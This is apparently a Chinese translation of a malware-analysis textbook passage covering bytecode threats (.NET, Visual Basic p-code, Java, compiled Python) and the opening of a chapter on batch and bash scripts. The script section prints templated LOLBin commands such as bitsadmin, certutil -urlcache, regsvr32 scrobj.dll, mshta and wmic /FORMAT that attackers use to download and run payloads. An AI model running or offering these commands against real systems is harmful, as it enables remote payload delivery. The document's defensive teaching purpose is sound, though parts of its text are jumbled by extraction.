图 9.13 – 将控制权转移到 AppDomain.CurrentDomain.Load 中的有效负载

图 9.13 – 将控制权转移到 AppDomain.CurrentDomain.Load 中的有效负载

一旦到达嵌入式有效负载的第一行,dnSpy 将处理剩下的部分,反编译这个新引入的代码块,并将其添加到程序集浏览器面板中,用于静态分析。

这就是基于.NET 的恶意软件分析;我们已经学会了开始高效分析相应样本所需的所有知识。现在,让我们来谈谈用 Visual Basic 编写的威胁。

Visual Basic 的基本知识

Visual Basic 是一种由 Microsoft 开发的高级编程语言,基于 BASIC 系列语言。最初,它的主要特点是能够快速创建图形化界面,并与 COM 模型良好集成,这促进了对ActiveX 数据对象ADO)的便捷访问。

它的最后一个版本发布于 1998 年,扩展支持于 2008 年结束。然而,所有现代 Windows 操作系统仍然支持它,尽管 APT 攻击者很少使用它,但许多大规模恶意软件家族仍然使用它。此外,许多恶意打包工具也使用这种编程语言,通常被检测为 Vbcrypt/VBKrypt 或类似的名称。最后,Visual Basic for ApplicationsVBA)仍广泛用于 Microsoft Office 应用程序,并且在 2010 年甚至升级到了第 7 版,它与 VB6 语言大致相同,并使用相同的运行时库。

在本节中,我们将深入探讨最新版本 Visual Basic(截至本文编写时为 6.0)支持的两种不同编译模式,并提供关于如何分析使用这些模式的样本的建议。

文件结构

编译后的 Visual Basic 样本看起来像标准的 MZ-PE 可执行文件。它们可以通过一个独特的导入 DLL MSVBVM60.DLL轻松识别出来(旧版本使用的是MSVBVM50.DLL)。PEiD 工具通常非常擅长识别这种编程语言(显然,前提是样本没有被打包):

图 9.14 – PEiD 识别 Visual Basic

图 9.14 – PEiD 识别 Visual Basic

在样本的入口点,我们可以看到调用ThunRTMainMSVBVM60.100)运行时函数:

图 9.15 – Visual Basic 样本的入口点

图 9.15 – Visual Basic 样本的入口点

这里的Thun前缀是对原始项目名称BASIC Thunder的引用。此函数接收一个指向以下结构的指针:

现在,让我们看一下ProjectInfo结构:

在这里,最有趣的字段之一是NativeCode。这个字段可以用来判断样本是作为 p-code 还是本地代码编译的。现在,让我们看看为什么这些信息很重要。

P-code 与本地代码

从 Visual Basic 5 开始,该语言支持两种编译模式:p-code 和本地代码(在此之前,p-code 是唯一的选项)。要理解它们之间的区别,我们需要了解什么是 p-code。

P-code,即打包代码或伪代码,是一种中间语言,其指令格式类似于机器代码。换句话说,它是一种字节码。引入它的主要原因是通过牺牲执行速度来减小程序的大小。当样本被编译为 p-code 时,字节码将由语言运行时解释执行。与此相对,本地代码选项允许开发者将样本编译成通常的机器代码,这通常运行得更快,但由于使用了多个开销指令,因此占用更多的空间。

知道分析的样本是在哪种模式下编译的非常重要,因为它决定了应使用哪些静态和动态分析工具。至于如何区分它们,最简单的方法是查看我们之前提到的NativeCode字段。如果它被设置为0,这意味着使用的是 p-code 编译模式。另一个指示器是,CodeEndCodeStart值之间的差异通常只有几个字节,因为没有本地代码函数。

另一种(不太可靠)的方法是查看导入表:

  • MSVBVM60.DLL,它提供对所有必要的 VB 函数的访问:

图 9.16 – 以 p-code 模式编译的 Visual Basic 样本的导入表

图 9.16 – 以 P-code 模式编译的 Visual Basic 示例的导入表

  • MSVBVM60.DLL,还有典型的系统 DLL,如 kernel32.dll,以及相应的导入函数:

图 9.17 – 以本地代码模式编译的 Visual Basic 示例的导入表

图 9.17 – 以本地代码模式编译的 Visual Basic 示例的导入表

区分这些模式的一种快速方法是将一个示例加载到免费的 VB Decompiler Lite 程序中,查看代码编译类型(加粗标记)以及函数本身。如果那里显示的是典型的 x86 指令,那么该示例是以本地代码编译的;否则,使用的是 P-code 模式:

图 9.18 – P-code 与本地代码示例在 VB Decompiler Lite 中的对比

图 9.18 – 在 VB Decompiler Lite 中,P-code 与本地代码示例的对比

我们将在下一节中更详细地介绍这个工具。

常见的 P-code 指令

多个基本操作码占用 1 个字节(0x00-0xFA);较大的 2 字节操作码以 0xFB-0xFF 范围内的前缀字节开头,使用频率较低。以下是一些常见的 P-code 指令示例,通常在探索 VB 反汇编时会看到:

  • 数据存储和移动:

    • LitStr/LitVarStr:初始化字符串

    • LitI2/LitI4/...:将整数值推入栈中(通常用于传递参数)

    • FMemLdI2/FMemLdRf/...:加载特定类型的值(内存)

    • Ary1StI2/Ary1StI4/...:将特定类型的值压入数组

    • Ary1LdI2/Ary1LdI4/...:从数组中加载特定类型的值

    • FStI2/FStI4/...:将变量值压入栈中

    • FLdI2/FLdI4/...:从栈中将值加载到变量中

    • FFreeStr:释放字符串

    • ConcatStr:连接字符串

    • NewIfNullPr:如果为空则分配空间

  • 算术运算:

    • AddI2/AddI4/...:加法运算

    • SubI2/SubI4/...:减法运算

    • MulI2/MulI4/...:乘法运算

    • DivR8:除法运算

    • OrI4/XorI4/AndI4/NotI4/...:逻辑运算

  • 比较:

    • EqI2/EqI4/EqStr/...:检查是否相等

    • NeI2/NeI4/NeStr/...:检查是否不等

    • GtI2/GtI4/...:检查是否大于

    • LeI2/LeI4/...:检查是否小于或等于

  • 控制流:

    • VCallHresult/VCallAd(VCallI4)/...:调用一个函数

    • ImpAdCallI2/ImpAdCallI4/...:调用导入函数(API)

    • Branch/BranchF:条件满足时跳转

还有许多类似的指令。如果某个新的操作码对你来说不清楚,且你需要理解其功能,可以在非官方文档中找到(尽管不够详细),或者在调试器中进行探索。

以下是操作码名称中最常用的缩写:

  • Ad:地址

  • Rf:引用

  • Lit:字面量

  • Pr:指针

  • Imp:导入

  • Ld:加载

  • St:存储

  • C:类型转换

  • DOC:重复操作码

所有常见的数据类型缩写几乎都可以自我解释:

  • I: 整数(UI1 – 字节,I2 – 整数,I4 – 长整型)

  • R: 实数(R4 – 单精度,R8 – 双精度)

  • Bool: 布尔值

  • Var: 变体

  • Str: 字符串

  • Cy: 货币

虽然一开始可能需要一些时间来习惯它们的符号,但其实变种并不多,所以过一段时间后,理解核心逻辑变得相对直接。另一个选择是投资一个合适的反编译器,避免直接处理 p-code 指令。我们稍后会讲到这个。

剖析 Visual Basic 样本

现在我们已经掌握了 Visual Basic 的一些基本知识,是时候转移焦点,学习如何剖析 Visual Basic 样本了。在这一部分,我们将进行详细的静态和动态分析。

静态分析

VB 恶意软件的共性是代码通常作为 SubMain 程序和事件处理程序的一部分执行,其中定时器和表单加载事件特别典型。

正如我们已经提到的,工具的选择将由创建恶意软件样本时使用的编译模式来决定。

P-code

对于 p-code 样本,可以使用 VB Decompiler 来访问其内部结构。Lite 版本是免费的,提供 p-code 反汇编访问,这对于大多数情况来说可能已经足够。如果工程师没有足够的专业知识或时间来处理 p-code 语法,那么付费的完整版提供了强大的反编译器,能够输出更易读的 Visual Basic 源代码:

图 9.19 – 在 VB 反编译器中拆解和反编译的相同 p-code 函数

图 9.19 – 在 VB 反编译器中拆解和反编译的相同 p-code 函数

另一个流行的选择是 P32Dasm 工具,它允许你通过几次点击获得 p-code 列表:

图 9.20 – P32Dasm 在操作中

图 9.20 – P32Dasm 在操作中

它的一个有用特点是能够生成 MAP 文件,这些文件可以通过专用插件加载到 OllyDbg 或 IDA 中。文档中还提到了用于 IDA 的 Visual Basic 调试插件,但似乎并未公开提供给大众使用。

重要提示

给首次使用者的提示 – 如果需要,可以将所有请求的 .ocx 文件(如果不可用,可以单独下载)放入 P32Dasm 的根目录,以使其正常工作。

原生代码

对于编译为原生代码的样本,我们已经讨论过的任何 Windows 静态分析工具都可以胜任。在这种情况下,能够有效应用结构的解决方案(如 IDA、Binary Ninja 或 radare2)可以节省时间:

图 9.21 – 在应用 ProjectInfo 结构后原生代码的开始部分

图 9.21 – 在应用 ProjectInfo 结构后原生代码的开始部分

VB 反编译器可以快速访问程序名称,而无需深入挖掘 VB 结构。对于 IDA,通过获取 VB 头的地址(如我们所知,它会传递给样本入口点处的 ThunRTMain 函数),然后通过偏移量(0x2C)获取 SubMain 地址。例如,在 radare2 中,你可以执行以下操作:

图 9.22 – 在 radare2 中查找 VB 示例的 SubMain 地址

]

图 9.22 – 在 radare2 中查找 VB 示例的 SubMain 地址

现在,让我们讨论 Visual Basic 示例的动态分析。

动态分析

就像静态分析一样,动态分析在 p-code 和本地代码样本之间是不同的。

P-code

当需要调试 p-code 编译的代码时,通常有两种可用的选项:调试 p-code 指令本身或调试恢复的源代码。

第二种选择需要一个高质量的反编译器,它能够生成接近原始源代码的内容。通常,VB 反编译器能很好地完成这项工作。在这种情况下,它的输出可以加载到你选择的 IDE 中,并经过一些小的修改后,可以用于调试任何常见的源代码。通常,不需要恢复整个项目,因为只需要追踪代码的某些部分。

尽管这种方法通常更用户友好,但有时调试实际的 p-code 可能是唯一可用的选项,例如,当反编译器无法正常工作或根本无法使用时。在这种情况下,WKTVBDE 项目非常有用,它允许你调试 p-code 编译的应用程序。它要求恶意样本被放置在其根目录中,以便正确加载。

本地代码

对于本地代码样本,与静态分析类似,可以使用 Windows 的动态分析工具。选择工具主要取决于分析人员的偏好和预算。

到此阶段,我们已经足够了解 VB,可以开始分析前几个样本了。现在,让我们谈谈基于 Java 的威胁。

Java 示例的内部结构

Java 是一种跨平台编程语言,常用于创建本地应用程序和网页应用程序。其语法受另一种面向对象语言 Smalltalk 的影响。最初由 Sun Microsystems 开发,并于 1995 年首次发布,后来成为甲骨文公司的一部分。本文写作时,它被认为是最流行的编程语言之一。

Java 应用程序被编译成字节码,然后由Java 虚拟机JVM)执行。这里的思想是,让经过一次编译的应用程序能够在所有支持的平台上使用,而无需做任何更改。市面上有多个 JVM 实现,且在本文撰写时(从 Java 1.3 开始),HotSpot JVM 是默认的官方选项。它的特点是结合了解释器和 JIT 编译器,能够根据分析器的输出将字节码编译成本地机器指令,以加速代码中较慢部分的执行。大多数 PC 用户通过安装Java 运行环境JRE)来获取它,JRE 是一个软件发行包,包含独立的 JVM(HotSpot)、标准库和配置工具集。Java 开发工具包JDK)是另一个流行选项,因为它是一个开发环境,用于使用 Java 语言构建应用程序、小程序和组件。对于移动设备,过程则截然不同。我们将在第十三章中讨论,分析 Android 恶意软件样本

在恶意软件方面,Java 在远程访问工具RAT)开发者中相当受欢迎。例如 jRAT 或者作为 JAR 文件分发的 Frutas/Adwind 家族。利用漏洞曾经是用户面临的另一个大问题,直到行业近期引入了相关变更。在本节中,我们将探讨已编译 Java 文件的内部结构,并学习如何在分析恶意软件时利用它。

文件结构

一旦编译完成,.java 文件会变成 .class 文件,可以直接由 JVM 执行。

以下是根据官方文档提供的结构:

ClassFile {
  u4 magic;
  u2 minor_version;
  u2 major_version;
  u2 constant_pool_count;
  cp_info constant_pool[constant_pool_count-1]; 
  u2 access_flags;
  u2 this_class; 
  u2 super_class;
  u2 interfaces_count;
  u2 interfaces[interfaces_count]; 
  u2 fields_count;
  field_info fields[fields_count]; 
  u2 methods_count;
  method_info methods[methods_count]; 
  u2 attributes_count;
  attribute_info attributes[attributes_count];
}

在这种情况下使用的魔法值是一个十六进制 DWORD,0xCAFEBABE。其他字段是显而易见的。

发布一个更复杂项目的最常见方式是构建一个包含多个已编译模块以及辅助元数据文件(如 MANIFEST.MF)的 JAR 文件。JAR 文件遵循常规的 ZIP 压缩格式,可以使用任何支持的解压软件进行提取。

最后,<jar> 字段是对实际 JAR 文件的引用,而 <applet-desc> 字段则指定了要加载的主 Java 类的名称等信息。

Java 基于的样本有多种分析方式。在本节中,我们将探讨静态和动态分析的多种选择。

JVM 指令

支持的指令列表有很好的文档记录,所以通常来说,查找任何感兴趣的字节码信息都不成问题。我们来看一些示例,看看它们的样子。

数据传输:

算术和逻辑运算:

控制流程:

有趣的是,其他项目也可以生成 Java 字节码,例如 JPython,它旨在将 Python 文件编译成 Java 风格的字节码。然而,实际上,在绝大多数情况下,不需要处理它们,因为现代的反编译器已经做得非常出色。

静态分析

由于 Java 字节码在所有平台上保持一致,它加快了高质量反编译器的创建过程,因为开发人员不必花费大量时间支持不同的架构和操作系统。以下是一些公众常用的工具:

  • 在使用时,通过-path参数指定来自 Java 文件夹的rt.jar文件。

  • Procyon:另一个强大的反编译器,可以处理 Java 文件和原始字节码。

  • FernFlower:一个作为 IntelliJ IDEA 插件维护的 Java 反编译器。它也有命令行版本。

  • CFR:一个用 Java 编写的 JVM 字节码反编译器,可以处理单个类和整个 JAR 文件。

  • d4j:一个建立在 Procyon 项目基础上的 Java 反编译器。

  • Ghidra:这个逆向工程工具包支持多种文件格式和指令集,包括 Java 字节码:

图 9.23 – 在 Ghidra 中反汇编和反编译的 Java 字节码

图 9.23 – 在 Ghidra 中反汇编和反编译的 Java 字节码

  • JD Project:一个久负盛名的 Java 反编译项目,它提供了一组用于分析 Java 字节码的工具。包括一个名为JD-Core的库,一个名为JD-GUI的独立工具,以及多个主要 IDE 的插件。

  • JAD:一个经典的反编译器,曾帮助几代逆向工程师进行 Java 恶意软件分析。现已停用:

图 9.24 – 反编译的 Adwind RAT 恶意软件的 Java 代码

图 9.24 – 反编译的 Adwind RAT 恶意软件的 Java 代码

尝试多个不同的项目并比较它们的输出是有意义的,因为它们实现了不同的技术,因此质量可能有所不同,具体取决于输入的样本。

要知道从哪里开始分析,可以查看MANIFEST.MF文件,它将指示从相应 JAR 样本中的哪个类开始执行(Main-Class字段)。

最后,如果需要,可以使用标准的-c参数获取 Java 字节码的反汇编。

动态分析

现代反编译器通常能生成相当高质量的输出,经过少量修改后,可以像普通的 Java 源代码一样读取和调试。多个 IDE 支持 Java,并提供调试选项:Eclipse、NetBeans、IntelliJ IDEA 等。

如果需要原始字节码追踪,可以使用 -XX:+TraceBytecodes 选项,这对于 HotSpot JVM 的调试版本是可用的。如果需要逐步调试字节码,Dr. Garbage 的 Bytecode Visualizer 插件在 Eclipse IDE 中显得非常有用。它不仅可以查看 JAR 内部编译模块的反汇编代码,还能进行调试。

处理反逆向工程解决方案

截至本文撰写时,市场上有大量商业化的 Java 混淆器可用。至于恶意软件开发者,他们中的许多人使用的是破解版本、演示版或泄露的许可证。例如,Allatori Obfuscator 被 Adwind RAT 恶意软件滥用。

当确认了混淆器的名称(例如,通过唯一的字符串),通常需要检查是否有现成的去混淆工具支持它。以下是一些常见的工具:

  • Java Deobfuscator:一个多功能项目,支持大量商业保护器。

  • JMD:一个 Java 字节码分析与去混淆工具,能够去除多种知名保护器实施的混淆。

  • Java DeObfuscator (JDO):一款通用去混淆工具,实施多种通用技术,比如将混淆后的值重命名为唯一且能表示其数据类型的名称。

  • jrename:另一种通用的去混淆工具,专门用于重命名变量,以提高代码的可读性。

如果没有现成可用的工具,建议寻找相关文章,了解该混淆器的工作原理以及哪些方法值得尝试,它们可能会提供宝贵的见解。

如果没有找到相关信息,则需要从头开始探索混淆器的逻辑,尽量先获取最有价值的信息,如字符串,然后是字节码。收集到的关于混淆器的信息越多,后续分析时花费的时间就越少。

以上就是关于 Java 基础的威胁分析,现在,让我们来讨论用 Python 编写的恶意软件。

分析编译后的 Python 威胁

Python 是一种高级通用编程语言,首次亮相于 1990 年,自那时以来经历了多个开发迭代。截止本文撰写时,公众常用的有两个分支,Python 2 和 Python 3,它们并不完全兼容。该语言本身非常强大且易于学习,这使得工程师能够快速原型化并开发出创意。

至于为什么恶意软件作者使用编译过的 Python,尽管有许多其他语言,这主要是因为该语言跨平台,允许现有应用程序轻松移植到多个平台。通过使用 py2exePyInstaller 等工具,还可以将 Python 脚本转换为可执行文件。

你可能会想,为什么本章要涉及 Python,毕竟它是一个脚本语言?事实上,是否使用字节码取决于实际实现,而不是语言本身。活跃的 Python 用户可能会注意到,当 Python 模块被导入时,出现了带有 .pyc 扩展名的文件。这些文件包含了已经编译为 Python 字节码语言的代码,可以用于各种目的,包括恶意目的。此外,从 Python 项目生成的可执行文件通常可以先还原为这些字节码模块。

在本节中,我们将解释如何分析这些示例。

文件结构

与 Python 相关的已编译文件有三种类型:.pyc.pyo.pyd。让我们来了解它们之间的区别:

  • .pyc:这些是标准的已编译字节码文件,可用于加快将来模块的导入速度。

  • .pyo:这些是使用 -O(或 -OO)选项构建的已编译字节码文件,负责引入影响加载速度的优化(不是执行速度)。

  • .pyd:这些是实现 MZ-PE 结构的传统 Windows DLL 文件(对于 Linux,则是 .so 文件)。

由于 MZ-PE 文件在本书中已多次提及,我们不会详细讨论它们,也不会花太多时间讲解 .pyd 文件。它们的主要特点是具有一个特定名称的初始化例程,该名称应与模块的名称匹配。

特别是,如果你有一个名为 foo.pyd 的模块,它应该导出一个名为 initfoo 的函数,这样当使用 import foo 语句导入时,Python 就能搜索到具有此名称的模块,并知道要加载的初始化函数的名称。

现在,让我们关注已编译的字节码文件。以下是 .pyc 文件的结构:

有趣的是,.pyc 模块是平台独立的,但同时依赖于 Python 版本。因此,.pyc 文件可以轻松地在安装了相同 Python 版本的系统之间传输,但使用一个版本的 Python 编译的文件通常不能在另一个版本的 Python 上使用,即使是在同一系统上。

字节码指令

官方 Python 文档描述了 Python 2 和 3 中使用的字节码。此外,由于它是开源软件,特定 Python 版本的所有字节码指令也可以在相应的源代码文件中找到,主要是 ceval.c

Python 2 和 3 使用的字节码之间的差异并不显著,但仍然可以察觉。例如,一些为版本 2 实现的指令在版本 3 中消失了(如 STOP_CODEROT_FOURPRINT_ITEMPRINT_NEWLINE/PRINT_NEWLINE_TO 等):

![图 9.25 – 由 Python 2 和 3 生成的相同 HelloWorld 脚本的不同字节码]

](https://github.com/OpenDocCN/freelearn-sec-pt3-zh/raw/master/docs/ms-mlw-anal-2e/img/Figure_9.25_B18500.png)

图 9.25 – 由 Python 2 和 3 生成的相同 HelloWorld 脚本的不同字节码

下面是官方文档中使用的 Python 3 指令组,并附带一些示例:

  • NOP:什么也不做(通常作为占位符使用)

  • POP_TOP:移除栈顶的值

  • ROT_TWO:交换栈顶的两个项

  • UNARY_POSITIVE:增量* UNARY_NOT:逻辑 NOT 操作* UNARY_INVERT:反转* BINARY_MULTIPLY:乘法* BINARY_ADD:加法* BINARY_XOR:异或操作* INPLACE_MULTIPLY:乘法* INPLACE_SUBTRACT:减法* INPLACE_RSHIFT:右移操作* GET_AITER:调用 get_awaitable 函数,获取栈顶项的 __aiter__() 方法的输出* SETUP_ASYNC_WITH:创建一个新的帧对象* BREAK_LOOP:终止循环* SET_ADD:将栈顶项添加到由第二项指定的集合中* MAKE_FUNCTION:将一个新的函数对象推入栈中

字节码指令名称是非常直观的。有关准确的语法,请查阅官方文档。

在讨论了 Python 作为脚本语言的各个方面之后,我们将重点介绍如何分析编译过的 Python 代码。在这一部分,我们将从 Python 的角度介绍一些实际的分析技巧。

静态分析

在许多情况下,分析人员并不会直接获得编译后的 Python 模块。相反,他们会得到一个样本,这个样本是一组 Python 脚本,通过 py2exe 或 PyInstaller 工具被转换成了可执行文件。所以,在深入研究字节码模块之前,我们需要先获取这些字节码模块。幸运的是,有几个项目可以执行这个任务:

  • unpy2exe.py:这个脚本可以处理使用 py2exe 构建的样本。

  • pyinstxtractor.py:顾名思义,这个工具可以用来从使用 PyInstaller 构建的可执行文件中提取 Python 模块。

一个名为 python-exe-unpacker 的开源项目结合了这两个工具,可以直接对可执行文件样本进行处理,无需额外检查。

在提取使用 PyInstaller 打包的文件后,对于刚开始分析编译过的 Python 文件的人来说,有一个步骤可能会让人感到非常沮丧。特别是,主要的提取模块可能缺失了编译代码前面的一些字节(具体数量取决于 Python 版本,请参见前面的表格),因此不能直接被其他工具处理。处理这个问题的最简单方法是从当前机器上的任何编译文件中获取这些字节,然后使用十六进制编辑器将它们添加到提取的文件中。可以通过导入(而不是执行)一个简单的 Hello World 脚本来创建这样的文件。

由于分析 Python 源代码相对简单,因此在可能的情况下坚持这种方式是有意义的。在这种情况下,能够恢复原始代码的反编译器显得特别有用。本文写作时,已有多个选项可供选择:

  • uncompyle6:一个开源的本地 Python 反编译器,支持多个版本的 Python。它正如其承诺的那样——将字节码转换回等效的源代码。它之前有几个较旧的项目(decompyle、uncompyle 和 uncompyle2)。

  • decompyle3:uncompyle6 项目的改进版,支持 Python 3.7 及以上版本。

  • Decompyle++(也称为 pycdc):一个用 C++编写的反汇编器和反编译器,旨在支持任何版本 Python 的字节码。

  • Meta:一个 Python 框架,允许你分析 Python 字节码和语法树。

  • UnPYC:一个多功能的 Python 反编译 GUI 工具,依赖其他项目来进行实际的代码恢复。

获取源代码后,可以在任何文本编辑器中进行查看,该编辑器具备便捷的语法高亮功能,或者使用您选择的 IDE。

然而,在某些情况下,反编译过程无法立即进行。例如,当模块是使用最新版本的 Python 构建时,它可能在传输过程中损坏,或部分解码/解密,亦或由于某些反逆向工程技术的影响。这类任务也常见于一些 CTF 竞赛中。在这种情况下,工程师必须坚持分析字节码。除了我们之前提到的工具,marshal.loaddis.disassemble方法也可以用来将字节码转换成可读格式。

动态分析

在动态分析方面,通常,反编译器的输出可以直接执行。任何支持 Python 语言的主要 IDE 都支持逐步执行。此外,通过trepan2/trepan3k调试器(分别适用于 Python 2 和 3 的最新版本),可以进行逐步调试。如果没有源代码可用,它会自动使用 uncompyle6。对于 Python 2.6 之前的版本,可以使用较旧的工具包,pydbgrpydb

如果需要跟踪字节码,可以通过以下几种方式进行处理:

  • ceval.c文件被修改以处理(例如,打印)已执行的指令。

  • 修改.pyc 文件本身:在这里,源代码行号被替换为每个字节的索引,这最终允许你跟踪已执行的字节码。Ned Batchelder 在他的文章*《恶意黑客:Python 字节码追踪》*中介绍了这一技术。

还有一些现有的项目,例如 .pyc 文件,具有由当前版本的 Python 2 生成的头文件格式,因此如果有必要,请进行更新。

一些常见的反逆向工程技术示例包括:

  • 操控堆栈上不存在的值

  • 设置自定义异常处理程序(为此,可以使用SETUP_EXCEPT指令)

在编辑字节码时(例如,去除反调试或反反编译技术,或恢复损坏的代码块),dis.opmap映射在查找操作码的二进制值并替换它们时非常有用,bytecode_graph模块可以无缝地移除不需要的值。

总结

在本章中,我们介绍了字节码语言的基本理论。我们了解了它们的使用场景以及它们如何从内部工作。然后,我们深入探讨了现代恶意软件家族中使用的最流行的字节码语言,解释了它们的工作原理,并分析了它们的独特细节,指出了需要特别关注的方面。最后,我们提供了关于如何分析此类恶意软件的详细指南,以及可以帮助这一过程的工具。

拥有这些知识后,你可以分析这种类型的恶意软件,并深入了解它可能如何影响受害者的系统。

第十章,《脚本与宏 - 逆向工程、去混淆与调试》中,我们将涵盖各种脚本和宏语言,探索恶意软件如何滥用它们,并找出它们之间以及与已讲解技术之间的有趣联系。

第十章:脚本和宏 – 逆向工程、去混淆和调试

现在编写恶意软件已经成为一种商业行为,像任何生意一样,它的目标是通过降低开发和运营成本来尽可能地提高利润。另一个强大的优势是能够迅速适应不断变化的需求和环境。因此,随着现代系统变得越来越多样化,低级恶意软件需要更加特定地针对其任务,对于基本操作,如实际有效载荷的交付,攻击者倾向于选择那些可以在多个平台上运行并且开发和升级所需的工作量最小的方法。因此,脚本语言在攻击者中越来越受欢迎也就不足为奇了,因为它们满足了这两个条件。

除此之外,传统的攻击者需求依然有效,比如尽可能保持隐蔽,以成功实现恶意目标。如果脚本解释器已经存在于目标系统上,那么代码的体积相对较小。另一个反侦察的原因是,许多传统的杀毒引擎对二进制和字符串签名的支持相当好,但要正确检测混淆代码脚本,则需要语法解析器或模拟器,而这可能需要杀毒公司投入较高的成本来开发和支持。所有这些因素使得脚本成为第一阶段模块的完美选择。

本章我们将涵盖以下主题:

经典的 Shell 脚本语言

  • VBScript 解释

  • VBA 和 Excel 4.0 (XLM) 宏等

  • PowerShell 的强大功能

  • 处理 JavaScript

  • C&C 背后——即便是恶意软件也有自己的后端

  • 其他脚本语言

经典的 Shell 脚本语言

所有现代操作系统都支持某种命令语言,这些命令语言通常可以通过 Shell 访问。它们的功能因系统而异。一些命令语言可能足够强大,可以作为完整的脚本语言使用,而其他的则只支持与机器交互所需的最基本语法。在本章中,我们将涵盖两个最常见的例子:Unix 和 Linux 的 bash 脚本,以及 Windows 平台的批处理文件。

Windows 批处理脚本

Windows 批处理脚本语言的创建主要是为了简化某些管理任务,而不是完全取代其他成熟的替代方案。虽然它支持某些编程概念,如函数和循环,但一些非常基础的操作,如字符串操作,可能比许多其他编程语言的实现更加不直观。代码可以直接从 cmd.exe 控制台界面执行,或者通过创建一个 .cmd.bat 扩展名的文件来执行。请注意,命令是不区分大小写的。

即使到今天,支持的命令列表仍然相当有限。所有命令可以分为两组,如下所示:

  • call:此命令执行当前批处理文件或另一个批处理文件的功能,或执行一个程序。

  • start:此命令根据文件扩展名执行程序或打开文件。

  • cd:此命令更改当前目录。

  • dir:此命令列出文件系统对象。

  • copy:此命令将文件系统对象复制到新位置。

  • move:此命令将文件系统对象移动到另一个位置。

  • del/erase:这些命令删除现有文件(非目录)。

  • rd/rmdir:这些命令删除目录(非文件)。

  • ren/rename:这些命令更改文件系统对象的名称。

  • at:此命令调度程序在某个特定时间执行。* attrib:此命令显示或更改文件系统对象属性;例如,systemread-onlyhidden属性。* cacls:此命令显示或更改find:此命令搜索特定的文件系统对象;例如,通过文件名、路径或扩展名。* format:此命令格式化磁盘,可能会覆盖先前的内容。* ipconfig:此命令显示并更新本地计算机的网络配置。* net:这是一个多功能工具,支持各种网络操作,包括用户管理(net user)和远程资源管理(net use/net share)、服务管理(net start/net stop)等。* ping:此工具通过使用 ICMP 数据包检查与远程资源的连接性。它还可以用于建立潜在的网络通道并窃取数据。* reg:此命令执行各种注册表相关操作,如reg queryreg addreg delete等。* robocopy/xcopy:这些工具将文件系统对象复制到另一个位置。* rundll32:此命令加载 DLL;这里支持按名称和顺序导出的两种方式。* sc:此命令与服务控制管理器通信并管理 Windows 服务,包括创建、停止和更改操作。* schtasks:这是at工具的更强大版本;它通过调度程序在特定时间启动程序。实际上,这是 Windows 任务调度程序的控制台替代工具,支持本地和远程计算机。* shutdown:此命令重启或关闭本地或远程计算机。* taskkill:此命令通过名称或 PID 终止进程;此外,支持本地和远程计算机。* tasklist:此命令显示当前运行的进程列表;同时支持本地和远程计算机。

从历史上看,没有提供标准工具来发送 HTTP 请求(现在 curl 已在现代版本的 Windows 上可用)或压缩文件。从攻击者的角度来看,这意味着为了实现更多或更基本的恶意软件功能,例如下载、解密和执行附加有效载荷,他们必须编写额外的代码。直到后来,像 bitsadmincertutil 这样的系统工具才被攻击者广泛滥用,用于下载和解码有效载荷。以下是它们被使用的一些示例:

  • bitsadmin /transfer <any_name> /download /priority normal <url> <dest>

  • certutil -urlcache -split -f <url> <dest>

  • certutil -decode <src> <dest>

此外,还有一些较少为人知的方式,Windows 恶意软件可以通过使用标准控制台命令来访问远程有效载荷,具体如下:

  • regsvr32 /s /n /u /i:<url_to_sct> scrobj.dll

  • mshta <url_to_hta>

  • wmic os get /FORMAT:<url_to_xsl>

最后,一些标准工具如 wmic 原生支持远程机器,因此如果有可用的凭证,就可以在另一台受害者的机器上执行某些命令,而无需额外的工具。

更多与标准工具相关的非标准安全应用可以在 LOLBAS 项目页面找到:lolbas-project.github.io/

批处理文件中最常见的混淆模式如下:

  • 通过从长块中提取子字符串来构建命令。

  • 使用过多的变量替换;这里,许多变量要么未定义,要么在使用的地方远离定义的位置。

  • 使用随机大小写字母的长变量名。

  • 添加多个无意义的符号,如成对的双引号或插入符号转义字符 (^)。以下截图展示了一个示例:

图 10.1 – 使用转义符号进行批处理脚本混淆的示例

图 10.1 – 使用转义符号进行批处理脚本混淆的示例

  • 通常情况下,大小写字母混合使用(Windows 控制台不区分大小写,除非大小写有区别;例如在 base64 编码中)。以下是一个示例:

图 10.2 – 使用不存在的变量进行批处理脚本混淆的示例

图 10.2 – 使用不存在的变量进行批处理脚本混淆的示例

第一和第二种情况可以通过仅使用 echo 命令打印这些操作的结果来处理。第三和第四种情况可以通过基本的替换操作轻松处理,而第五种情况则只需将所有内容转换为小写,除了像 base64 编码的文本等内容。

Bash

Bash 是一个命令行界面,源于 Unix 世界。它遵循一项任务一工具的范式,在这个范式下,多个简单的程序可以连接在一起使用。Shell 脚本支持基本的编程构件,如循环、条件构造和函数。除此之外,它还通过多个外部工具提供支持——大多数可以在任何支持的系统上找到。然而,不同于 Windows 的 Shell(它有多个内建命令),即使是最基本的功能,如打印字符串,也由一个独立的程序完成(在这种情况下是 echo)。Shell 脚本的常见文件扩展名是 .sh。然而,即使是没有扩展名的文件,只要在头部提供了相应的解释器,也能正确执行;例如,#!/bin/bash。与 Windows 不同,在这里所有命令都是区分大小写的。

在 Linux 世界中还有许多其他的 Shell,如 shzsh,但它们的语法大体相同。

由于大多数 Linux 工具只提供一小部分功能,因此完整的攻击通常涉及许多工具。然而,其中一些工具被攻击者更频繁地使用,以实现他们的目标,尤其是在大规模感染的恶意软件中,如Mirai

  • chmod:更改文件权限;例如,使文件可读、可写或可执行。

  • cd:更改当前目录。

  • cp:将文件系统中的对象复制到另一个位置。

  • curl:这是一个网络工具,用于通过多种支持的协议从远程服务器传输数据。

  • find:根据名称和某些属性搜索特定的文件系统对象。

  • grep:在文件或包含特定字符串的文件中搜索特定字符串。

  • ls:列出文件系统中的对象。

  • mv:移动文件系统中的对象。

  • nc:这是一个 netcat 工具,允许攻击者使用 TCP 或 UDP 从网络连接中读取和写入数据。默认情况下,在某些发行版上不可用。

  • ping:通过发送 ICMP 数据包检查对远程系统的访问。

  • ps:列出进程。

  • rm:删除文件系统中的对象。

  • tar:使用多种支持的协议压缩和解压文件。

  • tftp:这是 简易文件传输协议TFTP)的客户端;它是 FTP 的简化版本。

  • wget:通过 HTTP、HTTPS 和 FTP 协议下载文件:

图 10.3 – Mirai Shell 脚本示例

图 10.3 – Mirai Shell 脚本示例

